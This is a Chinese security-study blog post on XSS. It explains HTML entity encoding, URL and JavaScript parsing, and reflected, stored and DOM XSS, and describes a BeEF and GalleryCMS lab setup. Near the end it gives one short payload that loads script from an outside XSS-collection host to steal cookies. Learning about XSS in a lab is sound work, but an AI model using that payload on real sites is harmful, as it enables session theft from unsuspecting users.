复现20字符短域名绕过以及xss相关知识点

本文详细讨论了HTML实体编码、字符实体、HTML字符实体编码、URL解析及JavaScript解析中的XSS相关知识点。重点阐述了XSS的三种类型:反射型、存储型和DOM XSS,并给出了实例说明。此外,还提到了如何搭建和配置galleryCMS服务器以进行安全实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

复现20字符短域名绕过以及xss相关知识点
1、HTML实体编码
一个HTML解析器作为一个状态机,他从输入流中获取字符并且按照转换规则转换到另一种状态。
在解析的过程中会经过4个状态
在这里插入图片描述
2、字符实体

字符实体是一个转义序列,他定义了一班无法在文本内容中输入的单个字符或符号。一个字符实体是以&开始,后面跟着一个预定义的实体名称,或者是一个#以及字符的十进制数字。

3、HTML字符实体编码
在HTML中,默写字符是预留的,比如说html中不可以使用“<”和“>”;因为浏览器可能会误认他们是标签的开始或者结束。所以在html中应该使用对应的字符实体。在HTML实体编码中可能有一些字符是没有实体名称的,但是我们可以用实体编号来引用。

4、字符引用
字符引用包括字符值引用和字符实体引用;字符值医用对应这符号的实体编号,而字符实体引用对应的是实体名。字符实体引用也被叫做“实体引用”或者“实体”。
HTML中的五类元素

1)空元素;不能容纳任何内容(因为他们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)比如说< area >,< br>,< base >等等
2)原始文本元素;原始文本元素是可以容纳文本的。有< script>,< style >
3)RCDATA元素,可以容纳文本和字符引用。有< textarea >和< title >
4)外部元素;可以痛啊文本,字符引用,CDATA段以及其他元素注释。例如MathML命名空间或者SVG命名空间的元素
5)基本元素;可以容纳文本、字符引用,其他元素和注释;也就是除了以上4种以外的元素。

5、URL解析
URL解析器也是一个状态机模型,从输入流中进来的字符可以引导URL解析器转换到不同的状态;
URL资源类型必须是ASCII字母,不然就会进入“无类型”状态。简单来说就是不可以将协议也写成编码;并且在URL编码过程中使用utf-8编码类型来编码每一个字符,如果尝试将URL连接做了其他编码类型的编码,URL解析器就不会正确识别。

6、JavaScript解析
JavaScript解析过程与HTML解析过程有点不一样。JavaScript语言是一门内容关于语言无关的语言。
像\uXXXX一样的字符被称作Unicode转义序列。可以将转义序列分为3个部分:分别是:
1)字符串中:当Unicode转义序列存在再字符串中的时候,他只会被解释为正规字符,而不是单引号,双引号等一些其他能够打破字符串上下文的字符。
2)标识符名称:他会被解码解释为标识符名称的一部分。
3)控制字符:例如单引号、双引号、括号等都不会被解释成控制字符,而被解码并解析为表示符名称或字符串常量。
在这里插入图片描述
XSS分类
XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。

1、反射型XSS

发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
一个简单的例子:
http://www.a.com/xss/reflect.php的代码如下:

在这里插入图片描述

如果输入x的值未经任何过滤就直接输出,提交:http://www.foo.com/xss/reflect.php?x=
则alert()函数会在浏览器触发。

2、存储型XSS

存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。

3、DOM XSS

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。http://www.a.com/xss/domxss.html代码如下

在这里插入图片描述
在kali上线安装一下beef-xss
4、.在命令行中输入
在这里插入图片描述
5、安装成功后,运行
在这里插入图片描述

6、使用浏览器访问,在输入框中输入
在这里插入图片描述
然后输入账号和密码,默认账号就是beef,密码是自己设置的密码。

搭建galleryCMS的服务器。
1.将解压包解压到phpstudy_pro/WWW目录下面,找到文件application/config/database.php文件,修改文件中的数据库的用户名和密码为自己本机上的用户名和密码一样。
2.打开服务器和数据库,新增一个网站,将解压的GalleryCMS了路径放到根目录下面,域名设置为文件名。重启Apache服务和MySQL。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
为了获取到对方的cookie,尝试使用>$.getScript(“//trlsm.xss.ht”),
在这里插入图片描述

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值